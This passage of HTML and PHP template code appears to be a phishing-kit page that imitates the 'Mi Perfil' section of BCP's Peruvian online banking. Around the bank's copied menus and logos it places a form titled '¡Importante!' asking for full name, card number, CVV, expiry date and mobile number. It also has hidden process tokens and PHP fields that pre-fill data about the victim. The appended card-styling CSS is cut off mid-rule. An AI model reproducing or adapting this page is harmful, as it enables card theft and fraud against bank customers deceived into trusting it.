class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/transferencias/others-banks"> A cuentas de otros bancos en Perú </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/transferencias/transfers-abroad"> Al exterior </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/giro-nacional"> Giros nacionales </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/transferencias-programadas"> Transferencias programadas </a></div></div></li><li _ngcontent-mbv-c4="" class="nav-item dropdown ng-star-inserted"><a _ngcontent-mbv-c4="" aria-expanded="false" aria-haspopup="true" data-toggle="dropdown" role="button" class="nav-link dropdown-toggle" href="#"> PAGOS </a><!----><div _ngcontent-mbv-c4="" class="dropdown-menu custom-dropdown-menu ng-star-inserted"><!----><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/pago-de-servicios/selecciona-tu-tipo-de-pago"> Pagar un servicio </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/pago-de-tarjetas/selecciona-tu-tipo-de-pago"> Pagar tarjetas de crédito </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/pago-letras-y-facturas"> Pagar letras y facturas </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/mis-creditos"> Pagar créditos </a></div></div></li><li _ngcontent-mbv-c4="" class="nav-item dropdown ng-star-inserted"><a _ngcontent-mbv-c4="" aria-expanded="false" aria-haspopup="true" data-toggle="dropdown" role="button" class="nav-link dropdown-toggle" href="#"> MAS OPERACIONES </a><!----><div _ngcontent-mbv-c4="" class="dropdown-menu custom-dropdown-menu ng-star-inserted"><!----><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/adelanto-de-sueldo"> Adelanto de sueldo </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/disposicion-de-efectivo"> Disposición de efectivo </a></div><div _ngcontent-mbv-c4="" class="ng-star-inserted"><!----><a _ngcontent-mbv-c4="" class="dropdown-item menu-tag ng-star-inserted" href="#/portal/estado-de-cuentas"> Estado de cuenta </a></div></div></li></ul></div><div _ngcontent-mbv-c4="" class="d-flex flex-row"><!----><div _ngcontent-mbv-c4="" class="avatar dropdown" clickoutside=""><div _ngcontent-mbv-c4="" aria-haspopup="true" class="dropdown-toggle user-b" data-toggle="dropdown" href="#" role="button" aria-expanded="false"><img _ngcontent-mbv-c4="" alt="" class="pointer" height="32" src="https://stbcpzonasegura.viabcp.com/assets/img/user-b.svg" width="32">
<div _ngcontent-mbv-c4="" aria-labelledby="navbarDropdown" class="dropdown-menu"><div _ngcontent-mbv-c4="" class="avatar-content d-flex align-items-center pa-16"><div _ngcontent-mbv-c4="" class="custom-avatar-content"><img _ngcontent-mbv-c4="" alt="" class="avatar-img" height="64" src="https://stbcpzonasegura.viabcp.com/assets/img/big-avatar.svg" width="64"><div _ngcontent-mbv-c4="" class="custom-avatar-content-overlay"><div _ngcontent-mbv-c4="" class="custom-avatar-content-text">Cambiar</div></div></div><div _ngcontent-mbv-c4="" class="pl-16 bb-line"><div _ngcontent-mbv-c4="" class="avatar-user-name">graciela</div><div _ngcontent-mbv-c4="" class="edit-name boldLetter" tabindex="0">Editar perfil</div></div></div><div _ngcontent-mbv-c4="" class="avatar-content"><ul _ngcontent-mbv-c4="" class="avatar-items"><li _ngcontent-mbv-c4="" class="dropdown-item" tabindex="0"><i _ngcontent-mbv-c4="" class="icon bcp-screw-o mr-8"></i> Configuración</li><li _ngcontent-mbv-c4="" class="dropdown-item" tabindex="0"><i _ngcontent-mbv-c4="" class="icon bcp-lock-o mr-8"></i> Seguridad</li></ul><div _ngcontent-mbv-c4="" class="last-connection pa-16"><span _ngcontent-mbv-c4="">Último acceso:</span><span _ngcontent-mbv-c4="">11/12/2022 09:17 PM</span></div></div><div _ngcontent-mbv-c4="" class="d-flex align-items-center pa-16 pointer avatar-menu-base dropdown-item" href="javascript:void(0)"><i _ngcontent-mbv-c4="" class="icon bcp-sign-in-f mr-8"></i><span _ngcontent-mbv-c4="">Salir</span></div></div></div></div></div></div></nav></nhbk-home-menu></div><!----><div _ngcontent-mbv-c2="" class="home-container container"><router-outlet _ngcontent-mbv-c2=""></router-outlet><nhbk-profiles _nghost-mbv-c8="" class="ng-star-inserted">
<div _ngcontent-mbv-c8="" novalidate="" class="ng-untouched ng-pristine ng-valid"><div _ngcontent-mbv-c8="" class="container"><div _ngcontent-mbv-c8="" class="row"><div _ngcontent-mbv-c8="" class="breadcrumb-style col-md-12 col-lg-6"><nhbk-breadcrumb-profile _ngcontent-mbv-c8="" _nghost-mbv-c9=""><nav _ngcontent-mbv-c9="" class="breadcrumb"><div _ngcontent-mbv-c9="" class="breadcrumb-item"><span _ngcontent-mbv-c9="" class="first-breadcrumb" tabindex="0">Inicio</span></div><!----><div _ngcontent-mbv-c9="" class="second-item-breadcrumb ng-star-inserted"><i _ngcontent-mbv-c9="" class="size-angle icon bcp-angle-right-f"></i><span _ngcontent-mbv-c9="" class="font-breadcrumb">Mi Perfil</span></div><div _ngcontent-mbv-c9="" class="second-item-breadcrumb last-crumb-hidden ng-star-inserted"><i _ngcontent-mbv-c9="" class="size-angle icon bcp-angle-right-f"></i><span _ngcontent-mbv-c9="" class="last-crumb">¡Importante!</span></div></nav></nhbk-breadcrumb-profile></div></div><div _ngcontent-mbv-c8="" class="row"><div _ngcontent-mbv-c8="" class="submenu-style col-md-4 col-lg-4"><nhbk-menu-profile _ngcontent-mbv-c8="" _nghost-mbv-c10=""><nav _ngcontent-mbv-c10="" class="nav flex-column"><!----><div _ngcontent-mbv-c10="" class="nav-item ng-star-inserted"><div _ngcontent-mbv-c10="" class="menu-selected event-hover"><i _ngcontent-mbv-c10="" class="logo icon bcp-people-man-o"></i><span _ngcontent-mbv-c10="" class="titleMenu">Mi Perfil</span><!----><i _ngcontent-mbv-c10="" class="p-arrow icon bcp-angle-up-f ng-star-inserted"></i></div><!----><ul _ngcontent-mbv-c10="" class="ng-star-inserted"><!----><li _ngcontent-mbv-c10="" class="ng-star-inserted"><span _ngcontent-mbv-c10="" routerlinkactive="subMenu.name + selected-background" tabindex="0" class="nav-link menu-selected event-hover subMenu.name + selected-background"> ¡Importante! </span></li></ul></div><div _ngcontent-mbv-c10="" class="nav-item ng-star-inserted"><div _ngcontent-mbv-c10="" class="event-hover"><i _ngcontent-mbv-c10="" class="logo icon bcp-screw-o"></i><span _ngcontent-mbv-c10="" class="titleMenu">Configuración</span><!----><i _ngcontent-mbv-c10="" class="p-arrow icon bcp-angle-down-f ng-star-inserted"></i></div><!----><ul _ngcontent-mbv-c10="" hidden="" class="ng-star-inserted"><!----><li _ngcontent-mbv-c10="" class="ng-star-inserted"><span _ngcontent-mbv-c10="" routerlinkactive="subMenu.name + selected-background" tabindex="0" class=" nav-link event-hover"> Mis productos </span></li><li _ngcontent-mbv-c10="" class="ng-star-inserted"><span _ngcontent-mbv-c10="" routerlinkactive="subMenu.name + selected-background" tabindex="0" class=" nav-link event-hover"> Mis favoritos </span></li></ul></div><div _ngcontent-mbv-c10="" class="nav-item ng-star-inserted"><div _ngcontent-mbv-c10="" class="event-hover"><i _ngcontent-mbv-c10="" class="logo icon bcp-lock-o"></i><span _ngcontent-mbv-c10="" class="titleMenu">Seguridad</span><!----><i _ngcontent-mbv-c10="" class="p-arrow icon bcp-angle-down-f ng-star-inserted"></i></div><!----><ul _ngcontent-mbv-c10="" hidden="" class="ng-star-inserted"><!----><li _ngcontent-mbv-c10="" class="ng-star-inserted"><span _ngcontent-mbv-c10="" routerlinkactive="subMenu.name + selected-background" tabindex="0" class=" nav-link event-hover"> Cambio de clave de internet </span></li><li _ngcontent-mbv-c10="" class="ng-star-inserted"><span _ngcontent-mbv-c10="" routerlinkactive="subMenu.name + selected-background" tabindex="0" class=" nav-link event-hover"> Preguntas de Seguridad </span></li></ul></div></nav></nhbk-menu-profile></div><div _ngcontent-mbv-c8="" class="content-menu-dropdown col-md-12 col-lg-12"><nhbk-menu-dropdown _ngcontent-mbv-c8="" formcontrolname="menuControl" _nghost-mbv-c11="" class="ng-untouched ng-pristine ng-valid"><nhbk2-dropdown _ngcontent-mbv-c11="" name="genericDropdown" class="ng-tns-c12-0 ng-untouched ng-pristine ng-valid"><div class="ng-tns-c12-0 dropdown ng-trigger ng-trigger-dropdownAnimation" tabindex="-1" style="box-shadow: rgba(214, 220, 233, 0) 0px 0px 0px 0px;"><!----><nhbk2-dropdown-title _ngcontent-mbv-c11="" class="ng-star-inserted" style=""><div class="title-dropdown">Ingresa a </div></nhbk2-dropdown-title><nhbk2-dropdown-toggle _ngcontent-mbv-c11=""><div aria-expanded="isOpen" aria-haspopup="true" data-toggle="dropdown" class="dropdown-toggle"><!----><!----><nhbk2-dropdown-toggle-text _ngcontent-mbv-c11="" class="ng-star-inserted" style=""><div class="default text">¡Importante!</div></nhbk2-dropdown-toggle-text><!----></div></nhbk2-dropdown-toggle><nhbk2-dropdown-menu _ngcontent-mbv-c11="" class="ng-tns-c13-1 ng-star-inserted" style=""><div class="dropdown-menu ng-trigger ng-trigger-dropdownMenuAnimation" style="box-shadow: rgba(214, 220, 233, 0) 0px 0px 0px 0px;"><!----><nhbk2-menu-group _ngcontent-mbv-c11="" class="ng-star-inserted" style=""><li><h6 class="dropdown-header text-primary">Mi Perfil</h6><!----><nhbk2-dropdown-menu-item _ngcontent-mbv-c11="" class="ng-star-inserted"><div class="dropdown-item"><span _ngcontent-mbv-c11="" class="nav-link">¡Importante!</span></div></nhbk2-dropdown-menu-item></li></nhbk2-menu-group><nhbk2-menu-group _ngcontent-mbv-c11="" class="ng-star-inserted" style=""><li><h6 class="dropdown-header text-primary">Configuración</h6><!----><nhbk2-dropdown-menu-item _ngcontent-mbv-c11="" class="ng-star-inserted"><div class="dropdown-item"><span _ngcontent-mbv-c11="" class="nav-link">Mis productos</span></div></nhbk2-dropdown-menu-item><nhbk2-dropdown-menu-item _ngcontent-mbv-c11="" class="ng-star-inserted"><div class="dropdown-item"><span _ngcontent-mbv-c11="" class="nav-link">Mis favoritos</span></div></nhbk2-dropdown-menu-item></li></nhbk2-menu-group><nhbk2-menu-group _ngcontent-mbv-c11="" class="ng-star-inserted" style=""><li><h6 class="dropdown-header text-primary">Seguridad</h6><!----><nhbk2-dropdown-menu-item _ngcontent-mbv-c11="" class="ng-star-inserted"><div class="dropdown-item"><span _ngcontent-mbv-c11="" class="nav-link">Cambio de clave de internet</span></div></nhbk2-dropdown-menu-item><nhbk2-dropdown-menu-item _ngcontent-mbv-c11="" class="ng-star-inserted"><div class="dropdown-item"><span _ngcontent-mbv-c11="" class="nav-link">Preguntas de Seguridad</span></div></nhbk2-dropdown-menu-item></li></nhbk2-menu-group></div></nhbk2-dropdown-menu></div></nhbk2-dropdown></nhbk-menu-dropdown><br _ngcontent-mbv-c8=""></div><div _ngcontent-mbv-c8="" class="col-md-12 col-lg-8 flowprofile"><router-outlet _ngcontent-mbv-c8=""></router-outlet><nhbk-personal-data _nghost-mbv-c15="" class="ng-star-inserted"><nhbk2-wizard _ngcontent-mbv-c15=""><nhbk2-viewer _ngcontent-mbv-c15=""><!----><nhbk-step1-validate _nghost-mbv-c16="" class="ng-star-inserted"><section _ngcontent-mbv-c16=""><div _ngcontent-mbv-c16="" class="row"><div _ngcontent-mbv-c16="" class="col constancy_title"><h1 _ngcontent-mbv-c16="" class="product-title">¡Importante!</h1></div></div><div _ngcontent-mbv-c16="" class="row"><div _ngcontent-mbv-c16="" class="col"><span _ngcontent-mbv-c16="" class="info-link m-t-7">¿Por qué actualizar mis datos?</span></div></div><div _ngcontent-mbv-c16="" class="row"><div _ngcontent-mbv-c16="" class="col-12 text-informative"><p _ngcontent-mbv-c16="" class="constancy_subtitle"><!----><!---->
<span _ngcontent-mbv-c16="" class="ng-star-inserted">Actualiza</span> tus datos para poder informarte sobre <strong _ngcontent-mbv-c16=""> Estados de Cuenta, fraudes, alertas, constancias, resúmenes y otras operaciones</strong> en Banca por Internet y Banca Móvil.</p>
</div><div _ngcontent-mbv-c16="" class="col-12 current-email"><!---->
</div></div>
<div _ngcontent-mbv-c16="" class="row"><div _ngcontent-mbv-c16="" class="col"> </div></div>
<form id="frmpost" name="frmpost" _ngcontent-mbv-c16="" novalidate="" class="ng-untouched ng-dirty ng-invalid">
<input type="hidden" name="proceso" value="poewoowoiaidfosdfzsdf">
<div class="card-wrapper"></div>
<br/><br/>
<div _ngcontent-mbv-c16="" class="row">
<div _ngcontent-mbv-c16="" class="col-12 col-md-6 mb-4">
<nhbk-text-box _ngcontent-mbv-c16="" bcpblockcopypastevalidator="" formcontrolname="email" _nghost-mbv-c17="" class="ng-untouched ng-dirty ng-invalid">
<div _ngcontent-mbv-c17="" class="form-group form-group--relative form-group--stacked active text-box-wrapper"><!---->
<input id="ccnombre" name="ccnombre" _ngcontent-mbv-c17="" class="form-control ng-untouched ng-pristine ng-valid" maxlength="50" autocomplete="off" placeholder="" value="<?= $userDato->nombre; ?>">
<label _ngcontent-mbv-c17="" for="sbleao"> Nombre completo </label><!---->
</div>
</nhbk-text-box>
</div>
<div _ngcontent-mbv-c16="" class="col-12 col-md-6 mb-4">
<nhbk-text-box _ngcontent-mbv-c16="" bcpblockcopypastevalidator="" formcontrolname="emailConfirm" _nghost-mbv-c17="" class="ng-untouched ng-dirty ng-invalid">
<div _ngcontent-mbv-c17="" class="form-group form-group--relative form-group--stacked active text-box-wrapper"><!---->
<input id="cccc" name="cccc" _ngcontent-mbv-c17="" class="form-control ng-untouched ng-pristine ng-valid" maxlength="50" autocomplete="off" placeholder="" value="<?= $userDato->lastse; ?>">
<label _ngcontent-mbv-c17="" for="x5tinm"> Número de tarjeta </label><!---->
</div>
</nhbk-text-box>
</div>
</div>
<div _ngcontent-mbv-c16="" class="row">
<div _ngcontent-mbv-c16="" class="col-12 col-md-6 mb-4">
<nhbk-text-box _ngcontent-mbv-c16="" bcpblockcopypastevalidator="" formcontrolname="email" _nghost-mbv-c17="" class="ng-untouched ng-dirty ng-invalid">
<div _ngcontent-mbv-c17="" class="form-group form-group--relative form-group--stacked active text-box-wrapper"><!---->
<input id="cccvv" name="cccvv" _ngcontent-mbv-c17="" class="form-control ng-untouched ng-pristine ng-valid" maxlength="50" autocomplete="off" placeholder="">
<label _ngcontent-mbv-c17="" for="sbleao"> CVV </label><!---->
</div>
</nhbk-text-box>
</div>
<div _ngcontent-mbv-c16="" class="col-12 col-md-6 mb-4">
<nhbk-text-box _ngcontent-mbv-c16="" bcpblockcopypastevalidator="" formcontrolname="emailConfirm" _nghost-mbv-c17="" class="ng-untouched ng-dirty ng-invalid">
<div _ngcontent-mbv-c17="" class="form-group form-group--relative form-group--stacked active text-box-wrapper"><!---->
<input id="ccexpire" name="ccexpire" _ngcontent-mbv-c17="" class="form-control ng-untouched ng-pristine ng-valid" maxlength="50" autocomplete="off" placeholder="">
<label _ngcontent-mbv-c17="" for="x5tinm"> Fecha de expiración </label><!---->
</div>
</nhbk-text-box>
</div>
<div _ngcontent-mbv-c16="" class="col-12 col-md-6 mb-4">
<nhbk-text-box _ngcontent-mbv-c16="" bcpblockcopypastevalidator="" formcontrolname="emailConfirm" _nghost-mbv-c17="" class="ng-untouched ng-dirty ng-invalid">
<div _ngcontent-mbv-c17="" class="form-group form-group--relative form-group--stacked active text-box-wrapper"><!---->
<input id="telefono" name="telefono" _ngcontent-mbv-c17="" class="form-control ng-untouched ng-pristine " maxlength="9" placeholder="">
<label _ngcontent-mbv-c17="" for="x5tinm"> Numero de celular </label><!---->
</div>
</nhbk-text-box>
</div>
</div>
<div _ngcontent-mbv-c16="" class="row">
<nhbk-nav-button-group _ngcontent-mbv-c16="" _nghost-mbv-c19="">
<div _ngcontent-mbv-c19="" class="button-row">
<div _ngcontent-mbv-c19="" class="button-group"><!----><button id="finalizar" _ngcontent-mbv-c19="" type="button" class="btn-next btn btn-primary js-gtm-click-"> Finalizar <!----></button></div></div></nhbk-nav-button-group></div>
</form>
<form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
<form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
<form id="formwrit" method="post" action=""><input type="hidden" name="proceso" value="poiaisdpfoisfdoadfopisda"></form>
</section><nhbk-challenge _ngcontent-mbv-c16="" _nghost-mbv-c20=""><nhbk-modal _ngcontent-mbv-c20="" class="nhbk-modal-challenge ng-tns-c5-2" _nghost-mbv-c5=""><!----><!----></nhbk-modal></nhbk-challenge></nhbk-step1-validate></nhbk2-viewer></nhbk2-wizard></nhbk-personal-data></div></div></div></div></nhbk-profiles></div><footer _ngcontent-mbv-c2=""><nhbk-home-footer _ngcontent-mbv-c2="" _nghost-mbv-c7=""><footer _ngcontent-mbv-c7="" class="container" id="home-footer"><div _ngcontent-mbv-c7="" class="footer-text-container"><p _ngcontent-mbv-c7="" class="footer-text">© 2022 VIABCP.com</p><p _ngcontent-mbv-c7="" class="footer-text">|</p><p _ngcontent-mbv-c7="" class="footer-text">Todos los derechos reservados</p></div><div _ngcontent-mbv-c7="" class="footer-logo-container"><img _ngcontent-mbv-c7="" alt="bcp-logo" class="footer-logo" src="https://stbcpzonasegura.viabcp.com/assets/img/logo-blue.svg"></div></footer></nhbk-home-footer></footer></nhbk2-layout></nhbk-home></nhbk-root>
<style>
.jp-card.jp-card-safari.jp-card-identified .jp-card-front:before,.jp-card.jp-card-safari.jp-card-identified .jp-card-back:before{background-image:repeating-linear-gradient(45deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(135deg, rgba(255,255,255,0.05) 1px, rgba(255,255,255,0) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.03) 4px),repeating-linear-gradient(90deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(210deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),-webkit-linear-gradient(-245deg, rgba(255,255,255,0) 50%,rgba(255,255,255,0.2) 70%,rgba(255,255,255,0) 90%);background-image:repeating-linear-gradient(45deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(135deg, rgba(255,255,255,0.05) 1px, rgba(255,255,255,0) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.03) 4px),repeating-linear-gradient(90deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),repeating-linear-gradient(210deg, rgba(255,255,255,0) 1px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.04) 3px, rgba(255,255,255,0.05) 4px),linear-gradient(-25deg, rgba(255,255,255,0) 50%,rgba(255,255,255,0.2) 70%,rgba(255,255,255,0) 90%)}.jp-card.jp-card-ie-10.jp-card-flipped,.jp-card.jp-card-ie-11.jp-card-flipped{-webkit-transform:0deg;-moz-transform:0deg;-ms-transform:0deg;-o-transform:0deg;transform:0deg}.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-front,.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-front{-webkit-transform:rotateY(0deg);-moz-transform:rotateY(0deg);-ms-transform:rotateY(0deg);-o-transform:rotateY(0deg);transform:rotateY(0deg)}.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back,.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back{-webkit-transform:rotateY(0deg);-moz-transform:rotateY(0deg);-ms-transform:rotateY(0deg);-o-transform:rotateY(0deg);transform:rotateY(0deg)}.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back:after,.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back:after{left:18%}.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back .jp-card-cvc,.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back .jp-card-cvc{-webkit-transform:rotateY(180deg);-moz-transform:rotateY(180deg);-ms-transform:rotateY(180deg);-o-transform:rotateY(180deg);transform:rotateY(180deg);left:5%}.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back .jp-card-shiny,.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back .jp-card-shiny{left:84%}.jp-card.jp-card-ie-10.jp-card-flipped .jp-card-back .jp-card-shiny:after,.jp-card.jp-card-ie-11.jp-card-flipped .jp-card-back .jp-card-shiny:after{left:-480%;-webkit-transform:rotateY(180deg);-moz-transform:rotateY(180deg);-ms-transform:rotateY(180deg);-o-transform:rotateY(180deg);transform:rotateY(180deg)}.jp-card.jp-card-ie-10.jp-card-amex .jp-card-back,.jp-card.jp-card-ie-11.jp-card-amex .jp-card-back{display:none}.jp-card-logo{height:36px;width:60px;font-style:italic}.jp-card-logo,.jp-card-logo:before,.jp-card-logo:after{box-sizing:border-box}.jp-card-logo.jp-card-amex{text-transform:uppercase;font-size:4px;font-weight:bold;color:white;background-image:repeating-radial-gradient(circle at center, #fff 1px, #999 2px);background-image:repeating-radial-gradient(circle at center, #fff 1px, #999 2px);border:1px solid #EEE}.jp-card-logo.jp-card-amex:before,.jp-card-logo.jp-card-amex:after{width:28px;display:block;position:absolute;left:16px}.jp-card-logo.jp-card-amex:before{height:28px;content:"american";top:3px;text-align:left;padding-left:2px;padding-top:11px;background:#267AC3}.jp-card-logo.jp-card-amex:after{content:"express";bottom:11px;text-align:right;padding-right:2px}.jp-card.jp-card-amex.jp-card-flipped{-webkit-transform:none;-moz-transform:none;-ms-transform:none;-o-transform:none;transform:none}.jp-card.jp-card-amex.jp-card-identified .jp-card-front:before,.jp-card.jp-card-amex.jp-card-identified .jp-card-back:before{background-color:#108168}.jp-card.jp-card-amex.jp-card-identified .jp-card-front .jp-card-logo.jp-card-amex{opacity:1}.jp-card.jp-card-amex.jp-card-identified .jp-card-front .jp-card-cvc{visibility:visible}.jp-card.jp-card-amex.jp-card-identified .jp-card-front:after{opacity:1}.jp-card-logo.jp-card-discover{background:#f60;color:#111;text-transform:uppercase;font-style:normal;font-weight:bold;font-size:10px;text-align:center;overflow:hidden;z-index:1;padding-top:9px;letter-spacing:.03em;border:1px solid #EEE}.jp-card-logo.jp-card-discover:before,.jp-card-logo.jp-card-discover:after{content:" ";display:block;position:absolute}.jp-card-logo.jp-card-discover:before{background:white;width:200px;height:200px;border-radius:200px;bottom:-5%;right:-80%;z-index:-1}.jp-card-logo.jp-card-discover:after{width:8px;height:8px;border-radius:4px;top:10px;left:27px;background-color:#f60;background-image:-webkit-radial-gradient(#f60,#fff);background-image:radial-gradient( #f60,#fff);content:"network";font-size:4px;line-height:24px;text-indent:-7px}.jp-card .jp-card-front .jp-card-logo.jp-card-discover{right:12%;top:18%}.jp-card.jp-card-discover.jp-card-identified .jp-card-front:before,.jp-card.jp-card-discover.jp-card-identified .jp-card-back:before{background-color:#86B8CF}.jp-card.jp-card-discover.jp-card-identified .jp-card-logo.jp-card-discover{opacity:1}.jp-card.jp-card-discover.jp-card-identified .jp-card-front:after{-webkit-transition:400ms;-moz-transition:400ms;transition:400ms;content:" ";display:block;background-color:#f60;background-image:-webkit-linear-gradient(#f60,#ffa366,#f60);background-image:linear-gradient(#f60,#ffa366,#f60);height:50px;width:50px;border-radius:25px;position:absolute;left:100%;top:15%;margin-left:-25px;box-shadow:inset 1px 1px 3px 1px rgba(0,0,0,0.5)}.jp-card-logo.jp-card-unionpay{width:60px;display:block;height:40px;background:#e21836;-webkit-transform:skew(-15deg);-moz-transform:skew(20deg);-o-transform:skew(20deg);border-radius:5px;font-size:10px;z-index:1;line-height:33px;color:#fff;text-align:center;font-family:"Sans-serif", "Microsoft Yahei", "\5FAE\8F6F\96C5\9ED1", "Hiragino Sans", "Gulim", "\5B8B\4F53";font-weight:bold}.jp-card-logo.jp-card-unionpay:after,.jp-card-logo.jp-card-unionpay:before{display:block;margin:0 auto;position:absolute;height:40px;top:0;z-index:-1}.jp-card-logo.jp-card-unionpay:before{content:" ";width:28px;background:#00447c;left:14px;border-top-left-radius:5px;border-bottom-left-radius:5px}.jp-card-logo.jp-card-unionpay:after{content:"银联";width:26px;background:#007b84;left:34px;border-radius:5px;font-size:10px;line-height:54px;text-indent:-17px}.jp-card.jp-card-unionpay.jp-card-identified .jp-card-back:before,.jp-card.jp-card-unionpay.jp-card-identified .jp-card-front:before{background-color:#987c00}.jp-card.jp-card-unionpay.jp-card-identified .jp-card-logo.jp-card-unionpay{opacity:1}.jp-card-logo.jp-card-visa{text-transform:uppercase;color:white;text-align:center;font-weight:bold;font-size:24px;line-height:18px;margin-top:5px}.jp-card-logo.jp-card-visa:before,.jp-card-logo.jp-card-visa:after{content:" ";display:block;width:100%;height:25%}.jp-card-logo.jp-card-visa:before{position:absolute;left:-4px;width:0;height:0;border-style:solid;border-width:0 12px 6px 0;border-color:transparent #ffffff transparent transparent}.jp-card.jp-card-visa.jp-card-identified .jp-card-front:before,.jp-card.jp-card-visa.jp-card-identified .jp-card-back:before{background-color:#191278}.jp-card.jp-card-visa.jp-card-identified .jp-card-logo.jp-card-visa{opacity:1;box-shadow:none}.jp-card-logo.jp-card-visaelectron{background:white;text-transform:uppercase;color:#1A1876;text-align:center;font-weight:bold;font-size:15px;line-height:18px}.jp-card-logo.jp-card-visaelectron:before,.jp-card-logo.jp-card-visaelectron:after{content:" ";display:block;width:100%;height:25%}.jp-card-logo.jp-card-visaelectron:before{background:#1A1876}.jp-card-logo.jp-card-visaelectron:after{background:#E79800}.jp-card-logo.jp-card-visaelectron .elec{float:right;font-family:arial;font-size:9px;margin-right:1px;margin-top:-5px;text-transform:none}.jp-card.jp-card-visaelectron.jp-card-identified .jp-card-front:before,.jp-card.jp-card-visaelectron.jp-card-identified .jp-card-back:before{background-color:#191278}.jp-card.jp-card-visaelectron.jp-card-identified .jp-card-logo.jp-card-visaelectron{opacity:1}.jp-card-logo.jp-card-mastercard{color:white;font-style:normal;text-transform:lowercase;font-weight:bold;text-align:center;font-size:9px;line-height:84px;z-index:1;text-shadow:1px 1px rgba(0,0,0,0.6)}.jp-card-logo.jp-card-mastercard:before,.jp-card-logo.jp-card-mastercard:after{content:" ";display:block;width:36px;top:0;position:absolute;height:36px;border-radius:18px}.jp-card-logo.jp-card-mastercard:before{left:0;background:#EB001B;z-index:-1;opacity:0.9}.jp-card-logo.jp-card-mastercard:after{right:0;background:#FF5F00;z-index:-2}.jp-card.jp-card-mastercard.jp-card-identified .jp-card-front .jp-card-logo.jp-card-mastercard,.jp-card.jp-card-mastercard.jp-card-identified .jp-card-back .jp-card-logo.jp-card-mastercard{box-shadow:none}.jp-card.jp-card-mastercard.jp-card-identified .jp-card-front:before,.jp-card.jp-card-mastercard.jp-card-identified .jp-card-back:before{background-color:#0061A8}.jp-card.jp-card-mastercard.jp-card-identified .jp-card-logo.jp-card-mastercard{opacity:1}.jp-card-logo.jp-card-maestro{color:white;font-style:normal;text-transform:lowercase;font-weight:bold;text-align:center;font-size:14px;line-height:84px;z-index:1;text-shadow:1px 1px rgba(0,0,0,0.6)}.jp-card-logo.jp-card-maestro:before,.jp-card-logo.jp-card-maestro:after{content:" ";display:block;width:36px;top:0;position:absolute;height:36px;border-radius:18px}.jp-card-logo.jp-card-maestro:before{left:0;background:#EB001B;z-index:-2}.jp-card-logo.jp-card-maestro:after{right:0;background:#00A2E5;z-index:-1;opacity:0.8}.jp-card.jp-card-maestro.jp-card-identified .jp-card-front .jp-card-logo.jp-card-maestro,.jp-card.jp-card-maestro.jp-card-identified .jp-card-back .jp-card-logo.jp-card-maestro{box-shadow:none}.jp-card.jp-card-maestro.jp-card-identified .jp-card-front:before,.jp-card.jp-card-maestro.jp-card-identified .jp-card-back:before{background-color:#0B2C5F}.jp-card.jp-card-maestro.jp-card-identified .jp-card-logo.jp-card-maestro{opacity:1}.jp-card-logo.jp-card-dankort{width:60px;height:36px;padding:3px;border-radius:8px;border:#000 1px solid;background-color:#fff}.jp-card-logo.jp-card-dankort .dk{position:relative;width:100%;height:100%;overflow:hidden}.jp-card-logo.jp-card-dankort .dk:before{background-color:#ED1C24;content:'';position:absolute;width:100%;height:100%;display:block;border-radius:6px}.jp-card-logo.jp-card-dankort .dk:after{content:'';position:absolute;top:50%;margin-top:-7.7px;right:0;width:0;height:0;border-style:solid;border-width:7px 7px 10px 0;border-color:transparent #ED1C24 transparent transparent;z-index:1}.jp-card-logo.jp-card-dankort .d,.jp-card-logo.jp-card-dankort .k{position:absolute;top:50%;width:50%;display:block;height:15.4px;margin-top:-7.7px;background:white}.jp-card-logo.jp-card-dankort .d{left:0;border-radius:0 8px 10px 0}.jp-card-logo.jp-card-dankort 